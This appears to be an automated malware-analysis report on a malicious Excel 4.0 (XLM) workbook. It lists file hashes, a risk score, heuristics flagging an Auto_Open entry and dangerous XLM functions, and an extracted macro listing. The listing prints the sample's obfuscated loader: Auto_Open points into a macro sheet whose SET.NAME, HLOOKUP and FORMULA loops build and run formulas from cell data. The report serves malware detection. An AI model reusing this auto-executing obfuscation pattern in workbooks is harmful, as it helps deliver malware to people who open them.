Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f3d82a1fd0789b27…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:42:33 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 91eefd82579e3cbf57458da55ef6c854 SHA-1: 8894b8a7be5cc19923015b1b0068fb17aa0736a9 SHA-256: f3d82a1fd0789b27dc9bb6d82f7c0e2097b6ad0af9dece81bd527bfbf106f66e
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6496 bytes
SHA-256: 427522efa5edd400ade9c9277db731fb504d31c87c4d4c6ae4616d04bacb42f3
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  mhHIO
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A186 
' 0018     25 LABEL : Cell Value, String Constant - BXTcMPRnrW len=0 
' 0018     27 LABEL : Cell Value, String Constant - eOFqUOIVyklp len=0 
' 0018     27 LABEL : Cell Value, String Constant - FcChNldICeWS len=0 
' 0018     22 LABEL : Cell Value, String Constant - HFtayCZ len=0 
' 0018     26 LABEL : Cell Value, String Constant - HMrLtUYTxlo len=0 
' 0018     22 LABEL : Cell Value, String Constant - iNNdFGJ len=0 
' 0018     25 LABEL : Cell Value, String Constant - jAKwsGjhHW len=0 
' 0018     20 LABEL : Cell Value, String Constant - kgWFr len=0 
' 0018     27 LABEL : Cell Value, String Constant - lhTrJDDjuofF len=0 
' 0018     26 LABEL : Cell Value, String Constant - mGVAwpPzhCY len=0 
' 0018     25 LABEL : Cell Value, String Constant - qyaWPWQofO len=0 
' 0018     27 LABEL : Cell Value, String Constant - SVRpmAPwjSzq len=0 
' 0018     23 LABEL : Cell Value, String Constant - tQhXBtEW len=0 
' 0018     20 LABEL : Cell Value, String Constant - ukFzv len=0 
' 0018     20 LABEL : Cell Value, String Constant - UTfAc len=0 
' 0018     22 LABEL : Cell Value, String Constant - wQZCenY len=0 
' 0018     25 LABEL : Cell Value, String Constant - WYwrzvzzOe len=0 
' 0018     27 LABEL : Cell Value, String Constant - xbauWlxUDhfL len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZEFXZO len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZTPOCiCbITDG len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  mhHIO,A101,"SET.NAME("FcChNldICeWS",VALUE("0"))",""
'  mhHIO,A104,"SET.NAME("lhTrJDDjuofF",FcChNldICeWS)",""
'  mhHIO,A106,"SET.NAME("ZEFXZO",FcChNldICeWS)",""
'  mhHIO,A110,"SET.NAME("ZTPOCiCbITDG",COUNTA(tQhXBtEW))",""
'  mhHIO,A112,"SET.NAME("kgWFr",COUNTA(SVRpmAPwjSzq))",""
'  mhHIO,A116,[],""
'  mhHIO,A120,"SET.NAME("WYwrzvzzOe","")",""
'  mhHIO,A122,"lhTrJDDjuofF",""
'  mhHIO,A124,"SET.NAME("mGVAwpPzhCY",HLOOKUP("*",tQhXBtEW,lhTrJDDjuofF,FALSE))",""
'  mhHIO,A127,"xbauWlxUDhfL",""
'  mhHIO,A129,"SET.NAME("iNNdFGJ",FcChNldICeWS)",""
'  mhHIO,A133,[],""
'  mhHIO,A137,"iNNdFGJ",""
'  mhHIO,A140,"HMrLtUYTxlo",""
'  mhHIO,A145,"ukFzv",""
'  mhHIO,A147,"BXTcMPRnrW",""
'  mhHIO,A152,"SET.NAME("jAKwsGjhHW",VALUE(HLOOKUP("*",SVRpmAPwjSzq,BXTcMPRnrW,FALSE)))",""
'  mhHIO,A155,"eOFqUOIVyklp",""
'  mhHIO,A159,"WYwrzvzzOe",""
'  mhHIO,A164,"ZEFXZO",""
'  mhHIO,A169,NEXT(),""
'  mhHIO,A171,"UTfAc",""
'  mhHIO,A174,"SET.NAME("f",INT(T(FORMULA(T(WYwrzvzzOe)&"",""&T(UTfAc)))))",""
'  mhHIO,A177,"wQZCenY",""
'  mhHIO,A182,NEXT(),""
'  mhHIO,A184,RETURN(),""
'  mhHIO,A209,"SET.NAME("HFtayCZ",A101)",""
'  mhHIO,A214,"tQhXBtEW",""
'  mhHIO,A218,"SET.NAME("SVRpmAPwjSzq",R71C13)",""
'  mhHIO,A222,"SET.NAME("wQZCenY",231)",""
'  mhHIO,A227,"SET.NAME("qyaWPWQofO",1)",""
'  mhHIO,A230,HFtayCZ(),""
'  mhHIO,A231,HALT(),""